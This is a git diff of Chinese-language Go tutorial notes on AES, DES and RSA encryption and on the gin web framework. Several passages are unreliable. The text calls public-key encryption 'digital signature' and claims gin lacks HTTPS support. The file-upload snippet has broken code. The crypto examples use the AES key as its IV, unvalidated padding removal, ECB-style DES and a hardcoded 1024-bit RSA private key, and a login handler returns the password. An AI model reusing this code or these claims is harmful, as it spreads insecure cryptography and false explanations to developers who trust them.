非对称加密的特点:加密和解密分别使用两个不同的秘钥。使用其中一个秘钥对明文加密得到的密文,只有另外一个秘钥才能解密得到明文!而且这2个秘钥只在数学上有关,即使知道了其中一个,也无法计算出另外一个,所以一个可以公开,任意发布,一个不公开,由用户保管,绝对不同通过任何途径传输。
|
||||
|
||||
这两个秘钥分别是:
|
||||
- 公钥:公开秘钥,公钥可以向外任意发布。
|
||||
- 私钥:私有秘钥,私钥由用户存储,私钥不能通过任何渠道传输
|
||||
|
||||
总结如下:
|
||||
- 公开密钥和私有密钥是一对
|
||||
- 如果用公开密钥对数据进行加密,只有用对应的私有密钥才能解密。
|
||||
- 如果用私有密钥对数据进行加密,只有用对应的公开密钥才能解密。
|
||||
- 因为加密和解密使用的是两个不同的密钥,所以这种算法叫作非对称加密算法。
|
||||
|
||||
步骤如下:
|
||||
![](../images/go/04-04.png)
|
||||
|
||||
非对称加密中用于解密的私钥是不公开、不进行传输的,所以安全性较高,但是相对的,也增加了运算时间。
|
||||
|
||||
### 1.4 加解密算法
|
||||
|
||||
加密解密算法包括三种:
|
||||
- 对称加密:包括DES、3DES、AES等
|
||||
- 非对称加密:包括RSA算法、椭圆曲线加密算法
|
||||
- 数字签名算法DSA
|
||||
|
||||
编码解码算法常见的有Base64编码解码,Base58编码解码。
|
||||
|
||||
## 二 数字签名与验证
|
||||
|
||||
非对称加密中双方进行通信的加密解密过程:
|
||||
- 1.A要向B发送信息,A和B都要产生一对用于加密和解密的公钥和私钥
|
||||
- 2.A的私钥保密,A的公钥告诉B;B的私钥保密,B的公钥告诉A。
|
||||
- 3.A要给B发送信息时,A用B的公钥加密信息,因为A知道B的公钥。
|
||||
- 4.A将这个消息发给B(已经用B的公钥加密消息)。
|
||||
- 5.B收到这个消息后,B用自己的私钥解密A的消息。其他所有收到这个报文的人都无法解密,因为只有B才有B的私钥。
|
||||
|
||||
通过公钥加密、私钥解密的过程,称为数字签名、验证签名。数字签名有两部分组成:
|
||||
- 使用私钥从消息中创建签名
|
||||
- 允许任何人验证签名
|
||||
|
||||
数字签名主要用于验证双方的数据是否被串改,数字签名与加密解密不是一个概念!
|
||||
|
||||
非对称加密找那个双方进行通信时,不但要对消息进行加密解密,也要执行数字签名与验证:
|
||||
|
||||
![](../images/go/04-05.png)
|
||||
|
||||
|
||||
## 三 Go实现加密算法
|
||||
|
||||
### 3.1 AES
|
||||
|
||||
```go
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/aes"
|
||||
"fmt"
|
||||
"crypto/cipher"
|
||||
"encoding/base64"
|
||||
)
|
||||
|
||||
func main() {
|
||||
orig := "hello world"
|
||||
key := "123456781234567812345678"
|
||||
fmt.Println("原文:", orig)
|
||||
|
||||
encryptCode := AesEncrypt(orig, key)
|
||||
fmt.Println("密文:" , encryptCode)
|
||||
|
||||
decryptCode := AesDecrypt(encryptCode, key)
|
||||
fmt.Println("解密结果:", decryptCode)
|
||||
}
|
||||
|
||||
func AesEncrypt(orig string, key string) string {
|
||||
// 转成字节数组
|
||||
origData := []byte(orig)
|
||||
k := []byte(key)
|
||||
|
||||
// 分组秘钥
|
||||
block, _ := aes.NewCipher(k)
|
||||
// 获取秘钥块的长度
|
||||
blockSize := block.BlockSize()
|
||||
// 补全码
|
||||
origData = PKCS7Padding(origData, blockSize)
|
||||
// 加密模式
|
||||
blockMode := cipher.NewCBCEncrypter(block, k[:blockSize])
|
||||
// 创建数组
|
||||
cryted := make([]byte, len(origData))
|
||||
// 加密
|
||||
blockMode.CryptBlocks(cryted, origData)
|
||||
|
||||
return base64.StdEncoding.EncodeToString(cryted)
|
||||
|
||||
}
|
||||
|
||||
func AesDecrypt(cryted string, key string) string {
|
||||
// 转成字节数组
|
||||
crytedByte, _ := base64.StdEncoding.DecodeString(cryted)
|
||||
k := []byte(key)
|
||||
|
||||
// 分组秘钥
|
||||
block, _ := aes.NewCipher(k)
|
||||
// 获取秘钥块的长度
|
||||
blockSize := block.BlockSize()
|
||||
// 加密模式
|
||||
blockMode := cipher.NewCBCDecrypter(block, k[:blockSize])
|
||||
// 创建数组
|
||||
orig := make([]byte, len(crytedByte))
|
||||
// 解密
|
||||
blockMode.CryptBlocks(orig, crytedByte)
|
||||
// 去补全码
|
||||
orig = PKCS7UnPadding(orig)
|
||||
return string(orig)
|
||||
}
|
||||
|
||||
//补码
|
||||
func PKCS7Padding(ciphertext []byte, blocksize int) []byte {
|
||||
padding := blocksize - len(ciphertext)%blocksize
|
||||
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
|
||||
return append(ciphertext, padtext...)
|
||||
}
|
||||
|
||||
//去码
|
||||
func PKCS7UnPadding(origData []byte) []byte {
|
||||
length := len(origData)
|
||||
unpadding := int(origData[length-1])
|
||||
return origData[:(length - unpadding)]
|
||||
}
|
||||
```
|
||||
|
||||
### 3.2 DES
|
||||
|
||||
填充和去填充函数:
|
||||
```go
|
||||
func ZeroPadding(ciphertext []byte, blockSize int) []byte {
|
||||
padding := blockSize - len(ciphertext)%blockSize
|
||||
padtext := bytes.Repeat([]byte{0}, padding)
|
||||
return append(ciphertext, padtext...)
|
||||
}
|
||||
|
||||
func ZeroUnPadding(origData []byte) []byte {
|
||||
return bytes.TrimFunc(origData,
|
||||
func(r rune) bool {
|
||||
return r == rune(0)
|
||||
})
|
||||
}
|
||||
```
|
||||
加密:
|
||||
```go
|
||||
func Encrypt(text string, key []byte) (string, error) {
|
||||
src := []byte(text)
|
||||
block, err := des.NewCipher(key)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
bs := block.BlockSize()
|
||||
src = ZeroPadding(src, bs)
|
||||
if len(src)%bs != 0 {
|
||||
return "", errors.New("Need a multiple of the blocksize")
|
||||
}
|
||||
out := make([]byte, len(src))
|
||||
dst := out
|
||||
for len(src) > 0 {
|
||||
block.Encrypt(dst, src[:bs])
|
||||
src = src[bs:]
|
||||
dst = dst[bs:]
|
||||
}
|
||||
return hex.EncodeToString(out), nil
|
||||
}
|
||||
```
|
||||
|
||||
解密:
|
||||
```go
|
||||
func Decrypt(decrypted string , key []byte) (string, error) {
|
||||
src, err := hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
block, err := des.NewCipher(key)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
out := make([]byte, len(src))
|
||||
dst := out
|
||||
bs := block.BlockSize()
|
||||
if len(src)%bs != 0 {
|
||||
return "", errors.New("crypto/cipher: input not full blocks")
|
||||
}
|
||||
for len(src) > 0 {
|
||||
block.Decrypt(dst, src[:bs])
|
||||
src = src[bs:]
|
||||
dst = dst[bs:]
|
||||
}
|
||||
out = ZeroUnPadding(out)
|
||||
return string(out), nil
|
||||
}
|
||||
```
|
||||
|
||||
测试:
|
||||
```go
|
||||
func main() {
|
||||
key := []byte("2fa6c1e9")
|
||||
str :="I love this beautiful world!"
|
||||
strEncrypted, err := Encrypt(str, key)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Println("Encrypted:", strEncrypted)
|
||||
strDecrypted, err := Decrypt(strEncrypted, key)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
fmt.Println("Decrypted:", strDecrypted)
|
||||
}
|
||||
//Output:
|
||||
//Encrypted: 5d2333b9fbbe5892379e6bcc25ffd1f3a51b6ffe4dc7af62beb28e1270d5daa1
|
||||
//Decrypted: I love this beautiful world!
|
||||
```
|
||||
|
||||
### 3.3 RSA
|
||||
首先使用openssl生成公私钥,使用RSA的时候需要提供公钥和私钥 , 可以通过openss来生成对应的pem格式的公钥和私钥匙:
|
||||
```go
|
||||
import (
|
||||
"crypto/rand"
|
||||
"crypto/rsa"
|
||||
"crypto/x509"
|
||||
"encoding/base64"
|
||||
"encoding/pem"
|
||||
"errors"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
// 私钥生成
|
||||
//openssl genrsa -out rsa_private_key.pem 1024
|
||||
var privateKey = []byte(`
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIICWwIBAAKBgQDcGsUIIAINHfRTdMmgGwLrjzfMNSrtgIf4EGsNaYwmC1GjF/bM
|
||||
h0Mcm10oLhNrKNYCTTQVGGIxuc5heKd1gOzb7bdTnCDPPZ7oV7p1B9Pud+6zPaco
|
||||
qDz2M24vHFWYY2FbIIJh8fHhKcfXNXOLovdVBE7Zy682X1+R1lRK8D+vmQIDAQAB
|
||||
AoGAeWAZvz1HZExca5k/hpbeqV+0+VtobMgwMs96+U53BpO/VRzl8Cu3CpNyb7HY
|
||||
64L9YQ+J5QgpPhqkgIO0dMu/0RIXsmhvr2gcxmKObcqT3JQ6S4rjHTln49I2sYTz
|
||||
7JEH4TcplKjSjHyq5MhHfA+CV2/AB2BO6G8limu7SheXuvECQQDwOpZrZDeTOOBk
|
||||
z1vercawd+J9ll/FZYttnrWYTI1sSF1sNfZ7dUXPyYPQFZ0LQ1bhZGmWBZ6a6wd9
|
||||
R+PKlmJvAkEA6o32c/WEXxW2zeh18sOO4wqUiBYq3L3hFObhcsUAY8jfykQefW8q
|
||||
yPuuL02jLIajFWd0itjvIrzWnVmoUuXydwJAXGLrvllIVkIlah+lATprkypH3Gyc
|
||||
YFnxCTNkOzIVoXMjGp6WMFylgIfLPZdSUiaPnxby1FNM7987fh7Lp/m12QJAK9iL
|
||||
2JNtwkSR3p305oOuAz0oFORn8MnB+KFMRaMT9pNHWk0vke0lB1sc7ZTKyvkEJW0o
|
||||
eQgic9DvIYzwDUcU8wJAIkKROzuzLi9AvLnLUrSdI6998lmeYO9x7pwZPukz3era
|
||||
zncjRK3pbVkv0KrKfczuJiRlZ7dUzVO0b6QJr8TRAA==
|
||||
-----END RSA PRIVATE KEY-----
|
||||
`)
|
||||
|
||||
// 公钥: 根据私钥生成
|
||||
//openssl rsa -in rsa_private_key.pem -pubout -out rsa_public_key.pem
|
||||
var publicKey = []byte(`
|
||||
-----BEGIN PUBLIC KEY-----
|
||||
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDcGsUIIAINHfRTdMmgGwLrjzfM
|
||||
NSrtgIf4EGsNaYwmC1GjF/bMh0Mcm10oLhNrKNYCTTQVGGIxuc5heKd1gOzb7bdT
|
||||
nCDPPZ7oV7p1B9Pud+6zPacoqDz2M24vHFWYY2FbIIJh8fHhKcfXNXOLovdVBE7Z
|
||||
y682X1+R1lRK8D+vmQIDAQAB
|
||||
-----END PUBLIC KEY-----
|
||||
`)
|
||||
|
||||
// 加密
|
||||
func RsaEncrypt(origData []byte) ([]byte, error) {
|
||||
//解密pem格式的公钥
|
||||
block, _ := pem.Decode(publicKey)
|
||||
if block == nil {
|
||||
return nil, errors.New("public key error")
|
||||
}
|
||||
// 解析公钥
|
||||
pubInterface, err := x509.ParsePKIXPublicKey(block.Bytes)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// 类型断言
|
||||
pub := pubInterface.(*rsa.PublicKey)
|
||||
//加密
|
||||
return rsa.EncryptPKCS1v15(rand.Reader, pub, origData)
|
||||
}
|
||||
|
||||
// 解密
|
||||
func RsaDecrypt(ciphertext []byte) ([]byte, error) {
|
||||
//解密
|
||||
block, _ := pem.Decode(privateKey)
|
||||
if block == nil {
|
||||
return nil, errors.New("private key error!")
|
||||
}
|
||||
//解析PKCS1格式的私钥
|
||||
priv, err := x509.ParsePKCS1PrivateKey(block.Bytes)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// 解密
|
||||
return rsa.DecryptPKCS1v15(rand.Reader, priv, ciphertext)
|
||||
}
|
||||
func main() {
|
||||
data, _ := RsaEncrypt([]byte("hello world"))
|
||||
fmt.Println(base64.StdEncoding.EncodeToString(data))
|
||||
origData, _ := RsaDecrypt(data)
|
||||
fmt.Println(string(origData))
|
||||
}
|
||||
```
|
||||
|
201
05-常用框架/gin-01-基本使用.md
Normal file
201
05-常用框架/gin-01-基本使用.md
Normal file
@ -0,0 +1,201 @@
|
||||
## 一 gin框架初识
|
||||
|
||||
#### 1.1 helloworld
|
||||
|
||||
gin框架中的路由是基于[httprouter](https://github.com/julienschmidt/httprouter)开发的。HelloWorld:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"github.com/gin-gonic/gin"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
||||
r := gin.Default() //Default返回一个默认路由引擎
|
||||
|
||||
r.GET("/", func(c *gin.Context) {
|
||||
|
||||
username := c.Query("username")
|
||||
|
||||
fmt.Println(username)
|
||||
|
||||
c.JSON(200, gin.H{
|
||||
"msg":"hello world",
|
||||
})
|
||||
})
|
||||
|
||||
r.Run() //默认位于0.0.0.0:8080,可传入参数 ":3030"
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
## 二 参数获取
|
||||
|
||||
#### 2.1 get请求参数
|
||||
|
||||
常见参数获取方式:
|
||||
```
|
||||
c.Query("username")
|
||||
c.QueryDefault("username","lisi") //如果username为空,则赋值为lisi
|
||||
```
|
||||
|
||||
路由地址为:/user/:name/:pass,获取参数:
|
||||
```go
|
||||
name := c.Param("name")
|
||||
```
|
||||
|
||||
#### 2.2 post请求参数获取
|
||||
|
||||
```go
|
||||
name := c.PostForm("name")
|
||||
```
|
||||
|
||||
#### 2.3 参数绑定
|
||||
|
||||
参数绑定利用反射机制,自动提取querystring,form表单,json,xml等参数到结构体中,可以极大提升开发效率。
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"github.com/gin-gonic/gin"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
type User struct {
|
||||
Username string `form:"username" json:"username" binding:"required"`
|
||||
Password string `form:"password" json:"password" binding:"required"`
|
||||
}
|
||||
|
||||
func login(c *gin.Context) {
|
||||
|
||||
var user User
|
||||
|
||||
fmt.Println(c.PostForm("username"))
|
||||
fmt.Println(c.PostForm("password"))
|
||||
|
||||
err := c.ShouldBind(&user)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": err.Error()
|
||||
})
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"username": user.Username,
|
||||
"password": user.Password,
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
func main() {
|
||||
|
||||
router := gin.Default()
|
||||
|
||||
router.POST("/login", login)
|
||||
|
||||
router.Run(":3000")
|
||||
}
|
||||
```
|
||||
|
||||
## 三 静态文件
|
||||
|
||||
静态化当前目录下static文件夹:
|
||||
```go
|
||||
router := gin.Default()
|
||||
|
||||
router.Static("/static", "./static")
|
||||
|
||||
router.Run(":3000")
|
||||
```
|
||||
注意:同样推荐使用go build,不要使用开发工具的run功能。
|
||||
|
||||
## 四 结果返回
|
||||
|
||||
#### 4.1 返回JSON
|
||||
|
||||
```go
|
||||
c.JSON(200,gin.H{"msg":"OK"})
|
||||
c.JSON(200,结构体)
|
||||
```
|
||||
|
||||
#### 4.2 返回模板
|
||||
|
||||
```go
|
||||
router.LoadHTMLGlob("templates/**/*")
|
||||
|
||||
router.GET("/test/index", func(c *gin.Context){
|
||||
c.HTML(http.StatusOK, "test/index.tmpl", gin.H{
|
||||
"msg": "test",
|
||||
})
|
||||
})
|
||||
```
|
||||
|
||||
模板文件:index.tmpl
|
||||
```html
|
||||
|
||||
{{define "test/index.tmpl"}}
|
||||
<html>
|
||||
|
||||
<head>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
test...
|
||||
|
||||
{{.}}
|
||||
-----
|
||||
{{.msg}}
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
|
||||
{{end}}
|
||||
```
|
||||
|
||||
注意事项:不要使用编辑器的run功能,会出现路径错误,推荐使用命令build,项目路径分配如下:
|
||||
![](../images/go/gin-01.png)
|
||||
|
||||
## 五 文件上传
|
||||
|
||||
### 5.1 单文件上传
|
||||
|
||||
```go
|
||||
router.POST("/upload", func (c *gin.Context) {
|
||||
file, err := c.FormFile("file")
|
||||
if (err != nil) {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"msg": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
dst := fmt.Sprintf("/uploads/&s", file.Filename)
|
||||
c.SavaeUpLoadedFile(file, dst)
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"msg":"ok",
|
||||
})
|
||||
})
|
||||
```
|
||||
|
||||
### 5.2 多文件上传
|
||||
|
||||
```go
|
||||
router.POST("/upload", func(c *gin.Context) {
|
||||
// 多文件
|
||||
form, _ := c.MultipartForm()
|
||||
files := form.File["upload[]"]
|
||||
|
||||
for _, file := range files {
|
||||
log.Println(file.Filename)
|
||||
|
||||
// 上传文件到指定的路径
|
||||
// c.SaveUploadedFile(file, dst)
|
||||
}
|
||||
c.String(http.StatusOK, fmt.Sprintf("%d files uploaded!", len(files)))
|
||||
})
|
||||
```
|
109
05-常用框架/gin-02-路由.md
Normal file
109
05-常用框架/gin-02-路由.md
Normal file
@ -0,0 +1,109 @@
|
||||
## 一 路由分组
|
||||
|
||||
访问路径是:`/user/login` 和 `/user/signin`
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
func login(c *gin.Context) {
|
||||
c.JSON(300, gin.H{
|
||||
"msg": "login",
|
||||
})
|
||||
}
|
||||
|
||||
func logout(c *gin.Context) {
|
||||
c.JSON(300, gin.H{
|
||||
"msg": "logout",
|
||||
})
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
router := gin.Default()
|
||||
|
||||
user := router.Group("/user")
|
||||
{
|
||||
user.GET("/login", login)
|
||||
user.GET("/logout", logout)
|
||||
}
|
||||
|
||||
router.Run(":3000")
|
||||
}
|
||||
```
|
||||
|
||||
## 二 路由设计
|
||||
|
||||
#### 2.0 项目结构
|
||||
|
||||
笔者自己的路由设计,仅供参考:
|
||||
|
||||
项目结构如图:
|
||||
![](../images/go/gin-02.png)
|
||||
|
||||
#### 2.1 main.go
|
||||
|
||||
main.go:
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"Demo1/router"
|
||||
)
|
||||
|
||||
func main() {
|
||||
r := router.InitRouter()
|
||||
_ = r.Run()
|
||||
}
|
||||
```
|
||||
|
||||
#### 2.2 路由模块化核心 routes.go
|
||||
|
||||
routes.go:
|
||||
```go
|
||||
package router
|
||||
|
||||
import (
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
func InitRouter() *gin.Engine {
|
||||
|
||||
r := gin.Default()
|
||||
|
||||
// 路由模块化
|
||||
userRouter(r)
|
||||
orderRouter(r)
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
#### 2.3 业务处理
|
||||
|
||||
userRouter.go示例:
|
||||
```go
|
||||
package router
|
||||
|
||||
import (
|
||||
"github.com/gin-gonic/gin"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
func userRouter(r *gin.Engine) {
|
||||
|
||||
r.GET("/user/login", userLogin)
|
||||
|
||||
}
|
||||
|
||||
func userLogin(c *gin.Context) {
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"code": 10001,
|
||||
"msg": "登录成功",
|
||||
"data": nil,
|
||||
})
|
||||
}
|
||||
```
|
28
05-常用框架/gin-03-单元测试.md
Normal file
28
05-常用框架/gin-03-单元测试.md
Normal file
@ -0,0 +1,28 @@
|
||||
## gin配合单元测试
|
||||
|
||||
https://github.com/stretchr/testify/assert 是个很好的单元测试框架。
|
||||
|
||||
在上一节中配置了笔者自己项目的路由模块化思路,下面是配套的单元测试demo:
|
||||
|
||||
userRouter_test.go
|
||||
```go
|
||||
package test
|
||||
|
||||
import (
|
||||
"Demo1/router"
|
||||
"github.com/stretchr/testify/assert"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestUserRouter_userLogin(t *testing.T) {
|
||||
r := router.InitRouter()
|
||||
w := httptest.NewRecorder()
|
||||
req, _ := http.NewRequest(http.MethodGet, "/user/login", nil)
|
||||
r.ServeHTTP(w, req)
|
||||
assert.Equal(t, http.StatusOK, w.Code)
|
||||
assert.Equal(t, `{"code":10001,"data":null,"msg":"登录成功"}`, w.Body.String())
|
||||
}
|
||||
|
||||
```
|
122
05-常用框架/gin-04-中间件.md
Normal file
122
05-常用框架/gin-04-中间件.md
Normal file
@ -0,0 +1,122 @@
|
||||
## 一 Gin中间件
|
||||
|
||||
### 1.1 中间件的概念
|
||||
|
||||
gin框架允许在处理请求时,加入用户自己的钩子函数,该钩子函数即中间件。他的作用与Java中的拦截器,Node中的中间件相似。
|
||||
|
||||
中间件需要返回`gin.HandlerFunc`函数,多个中间件通过Next函数来依次执行。
|
||||
|
||||
### 1.2 入门使用案例
|
||||
|
||||
现在设计一个中间件,在每次路由函数执行前打印一句话,在上一节的项目基础上新建`middleware`文件夹,新建一个中间件文件`MyFmt.go`:
|
||||
```go
|
||||
package middleware
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
// 定义一个中间件
|
||||
func MyFMT() gin.HandlerFunc {
|
||||
return func(c *gin.Context) {
|
||||
host := c.Request.Host
|
||||
fmt.Printf("Before: %s\n",host)
|
||||
c.Next()
|
||||
fmt.Println("Next: ...")
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
在路由函数中使用中间件:
|
||||
```go
|
||||
r.GET("/user/login", middleware.MyFMT(), userLogin)
|
||||
```
|
||||
|
||||
打印结果:
|
||||
```
|
||||
Before: localhost:8080
|
||||
Next: ...
|
||||
[GIN] 2019/07/28 - 16:28:16 | 200 | 266.33µs | ::1 | GET /user/login
|
||||
```
|
||||
|
||||
### 1.2 中间件的详细使用方式
|
||||
|
||||
全局中间件:直接使用 `gin.Engine`结构体的`Use()`方法,中间件将会在项目的全局起作用。
|
||||
```go
|
||||
func InitRouter() *gin.Engine {
|
||||
|
||||
r := gin.Default()
|
||||
|
||||
// 全局中间件
|
||||
r.Use(middleware.MyFMT())
|
||||
|
||||
// 路由模块化
|
||||
userRouter(r)
|
||||
orderRouter(r)
|
||||
|
||||
return r
|
||||
}
|
||||
```
|
||||
|
||||
路由分钟中使用中间件:
|
||||
```go
|
||||
router := gin.New()
|
||||
user := router.Group("user", gin.Logger(),gin.Recovery())
|
||||
{
|
||||
user.GET("info", func(context *gin.Context) {
|
||||
|
||||
})
|
||||
user.GET("article", func(context *gin.Context) {
|
||||
|
||||
})
|
||||
}
|
||||
```
|
||||
|
||||
单个路由使用中间件(支持多个中间件的使用):
|
||||
```go
|
||||
router := gin.New()
|
||||
router.GET("/test",gin.Recovery(),gin.Logger(),func(c *gin.Context){
|
||||
c.JSON(200,"test")
|
||||
})
|
||||
```
|
||||
|
||||
### 1.3 内置中间件
|
||||
|
||||
Gin也内置了一些中间件,可以直接使用:
|
||||
```go
|
||||
func BasicAuth(accounts Accounts) HandlerFunc
|
||||
func BasicAuthForRealm(accounts Accounts, realm string) HandlerFunc
|
||||
func Bind(val interface{}) HandlerFunc //拦截请求参数并进行绑定
|
||||
func ErrorLogger() HandlerFunc //错误日志处理
|
||||
func ErrorLoggerT(typ ErrorType) HandlerFunc //自定义类型的错误日志处理
|
||||
func Logger() HandlerFunc //日志记录
|
||||
func LoggerWithConfig(conf LoggerConfig) HandlerFunc
|
||||
func LoggerWithFormatter(f LogFormatter) HandlerFunc
|
||||
func LoggerWithWriter(out io.Writer, notlogged ...string) HandlerFunc
|
||||
func Recovery() HandlerFunc
|
||||
func RecoveryWithWriter(out io.Writer) HandlerFunc
|
||||
func WrapF(f http.HandlerFunc) HandlerFunc //将http.HandlerFunc包装成中间件
|
||||
func WrapH(h http.Handler) HandlerFunc //将http.Handler包装成中间件
|
||||
```
|
||||
|
||||
## 二 请求的拦截与后置
|
||||
|
||||
中间件的最大作用就是拦截过滤请求,比如我们有些请求需要用户登录或者需要特定权限才能访问,这时候便可以中间件中做过滤拦截。
|
||||
|
||||
下面三个方法中断请求后,直接返回200,但响应的body中不会有数据:
|
||||
```go
|
||||
func (c *Context) Abort()
|
||||
func (c *Context) AbortWithError(code int, err error) *Error
|
||||
func (c *Context) AbortWithStatus(code int)
|
||||
func (c *Context) AbortWithStatusJSON(code int, jsonObj interface{}) // 中断后可以返回json数据
|
||||
```
|
||||
|
||||
如果在中间件中调用gin.Context的Next()方法,则可以请求到达并完成业务处理后,再经过中间件后置拦截处理:
|
||||
```go
|
||||
func MyMiddleware(c *gin.Context){
|
||||
//请求前
|
||||
c.Next()
|
||||
//请求后
|
||||
}
|
||||
```
|
123
05-常用框架/gin-05-理解gin框架-1.md
Normal file
123
05-常用框架/gin-05-理解gin框架-1.md
Normal file
@ -0,0 +1,123 @@
|
||||
## 一 gin.Engine
|
||||
|
||||
Engine是框架的入口,是gin框架的核心,通过Engine对象来定义服务路由信息、组装插件、运行服务。不过Engine的本质只是对内置HTTP服务的包装。
|
||||
|
||||
`gin.Default()` 函数会生成一个默认的 Engine 对象,包含2个默认常用插件
|
||||
- Logger:用于输出请求日志
|
||||
- Recovery:用于确保单个请求发生 panic 时记录异常堆栈日志,输出统一的错误响应。
|
||||
|
||||
```go
|
||||
func Default() *Engine {
|
||||
engine := New()
|
||||
engine.Use(Logger(), Recovery())
|
||||
return engine
|
||||
}
|
||||
```
|
||||
|
||||
## 二 gin的路由
|
||||
|
||||
### 2.1 路由树
|
||||
|
||||
在 Gin 框架中,路由规则被分成了最多 9 棵前缀树,每一个 HTTP Method对应一棵 前缀树 ,树的节点按照 URL 中的 / 符号进行层级划分,URL 支持 `:name` 形式的名称匹配,还支持 `*subpath` 形式的路径通配符:
|
||||
```
|
||||
// 匹配单节点 named
|
||||
pattern = /book/:id
|
||||
match /book/123
|
||||
nomatch /book/123/10
|
||||
nomatch /book/
|
||||
|
||||
// 匹配子节点 catchAll mode
|
||||
/book/*subpath
|
||||
match /book/
|
||||
match /book/123
|
||||
match /book/123/10
|
||||
```
|
||||
|
||||
如图所示:
|
||||
![](../images/go/gin-03.jpeg)
|
||||
|
||||
每个节点都会挂接若干请求处理函数构成一个请求处理链 HandlersChain。当一个请求到来时,在这棵树上找到请求 URL 对应的节点,拿到对应的请求处理链来执行就完成了请求的处理。
|
||||
|
||||
```go
|
||||
type Engine struct {
|
||||
...
|
||||
trees methodTrees
|
||||
...
|
||||
}
|
||||
|
||||
type methodTrees []methodTree
|
||||
|
||||
type methodTree struct {
|
||||
method string
|
||||
root *node // 树根
|
||||
}
|
||||
|
||||
type node struct {
|
||||
path string // 当前节点的路径
|
||||
...
|
||||
handlers HandlersChain // 请求处理链
|
||||
...
|
||||
}
|
||||
|
||||
type HandlerFunc func(*Context)
|
||||
|
||||
type HandlersChain []HandlerFunc
|
||||
|
||||
```
|
||||
|
||||
Engine 对象包含一个 addRoute 方法用于添加 URL 请求处理器,它会将对应的路径和处理器挂接到相应的请求树中:
|
||||
```go
|
||||
func (e *Engine) addRoute(method, path string, handlers HandlersChain)
|
||||
```
|
||||
|
||||
### 2.2 路由组
|
||||
|
||||
RouterGroup 是对路由树的包装,所有的路由规则最终都是由它来进行管理。Engine 结构体继承了 RouterGroup ,所以 Engine 直接具备了 RouterGroup 所有的路由管理功能,同时 RouteGroup 对象里面还会包含一个 Engine 的指针,这样 Engine 和 RouteGroup 就成了「你中有我我中有你」的关系。
|
||||
|
||||
```go
|
||||
type Engine struct {
|
||||
RouterGroup
|
||||
...
|
||||
}
|
||||
|
||||
type RouterGroup struct {
|
||||
...
|
||||
engine *Engine
|
||||
...
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
RouterGroup 实现了 IRouter 接口,暴露了一系列路由方法,这些方法最终都是通过调用 Engine.addRoute 方法将请求处理器挂接到路由树中。
|
||||
```go
|
||||
GET(string, ...HandlerFunc) IRoutes
|
||||
POST(string, ...HandlerFunc) IRoutes
|
||||
DELETE(string, ...HandlerFunc) IRoutes
|
||||
PATCH(string, ...HandlerFunc) IRoutes
|
||||
PUT(string, ...HandlerFunc) IRoutes
|
||||
OPTIONS(string, ...HandlerFunc) IRoutes
|
||||
HEAD(string, ...HandlerFunc) IRoutes
|
||||
// 匹配所有 HTTP Method
|
||||
Any(string, ...HandlerFunc) IRoutes
|
||||
```
|
||||
|
||||
RouterGroup 内部有一个前缀路径属性,它会将所有的子路径都加上这个前缀再放进路由树中。有了这个前缀路径,就可以实现 URL 分组功能。
|
||||
Engine 对象内嵌的 RouterGroup 对象的前缀路径是 /,它表示根路径。RouterGroup 支持分组嵌套,使用 Group 方法就可以让分组下面再挂分组,依次类推。
|
||||
|
||||
|
||||
### 2.3 HTTP错误
|
||||
|
||||
当 URL 请求对应的路径不能在路由树里找到时,就需要处理 404 NotFound 错误。当 URL 的请求路径可以在路由树里找到,但是 Method 不匹配,就需要处理 405 MethodNotAllowed 错误。Engine 对象为这两个错误提供了处理器注册的入口。
|
||||
|
||||
```go
|
||||
func (engine *Engine) NoMethod(handlers ...HandlerFunc)
|
||||
func (engine *Engine) NoRoute(handlers ...HandlerFunc)
|
||||
```
|
||||
|
||||
异常处理器和普通处理器一样,也需要和插件函数组合在一起形成一个调用链。如果没有提供异常处理器,Gin 就会使用内置的简易错误处理器。
|
||||
|
||||
注意这两个错误处理器是定义在 Engine 全局对象上,而不是 RouterGroup。对于非 404 和 405 错误,需要用户自定义插件来处理。对于 panic 抛出来的异常需要也需要使用插件来处理。
|
||||
|
||||
### 2.4 HTTPS
|
||||
|
||||
Gin 不支持 HTTPS,官方建议是使用 Nginx 来转发 HTTPS 请求到 Gin。
|
86
05-常用框架/gin-05-理解gin框架-2.md
